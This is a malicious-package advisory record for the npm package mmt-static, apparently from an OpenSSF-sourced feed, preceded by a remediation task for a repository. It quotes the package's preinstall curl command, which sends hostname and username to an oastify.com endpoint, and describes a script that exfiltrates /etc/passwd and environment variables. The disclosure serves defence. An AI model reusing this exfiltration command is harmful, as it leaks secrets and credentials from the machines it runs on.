Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4612/ (Markdown: https://insights.sbomify.com/MAL-2026-4612/index.md)","id":"MAL-2026-4612","markdown":"https://insights.sbomify.com/MAL-2026-4612/index.md","name":"MAL-2026-4612","record":{"aliases":["GHSA-3c6q-cfmj-gmcf"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `npm install`, the package's preinstall lifecycle hook executes `node index.js \u0026\u0026 curl --data-urlencode \"info=$(hostname \u0026\u0026 whoami)\" http://8irluql1d21jmq8tr5n5fyoxjopfdd12.oastify.com/nasa/mmt-static`. index.js reads `/etc/passwd`, collects `os.hostname()`, `os.platform()`, `os.userInfo().username`, current working directory, and the first 30 entries of `process.env`, then POSTs the JSON payload to `https://3nrgzlqwix6erldow0s0kttsojuai36s.oastify.com/nasa/mmt-static/\u003cid\u003e`. The package additionally exhibits dependency-confusion shape: its description claims to be an AWS internal CDK package (`cdk-sagemaker-notebook-workflow`) and the README contains `Takeover By l0bo`, indicating an intentional name-squat against an AWS-internal namespace. Installing this package leaks the installer's hostname, username, local user database, working directory, and environment variables (which commonly contain CI/CD secrets, cloud credentials, and tokens) to attacker-controlled Burp Collaborator (oastify.com) endpoints.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in mmt-static (npm)","id":"MAL-2026-4612","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"mmt-static","purl":"pkg:npm/mmt-static","source":"MAL-2026-4612"}],"products":null,"published":"2026-05-22","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4612/"}
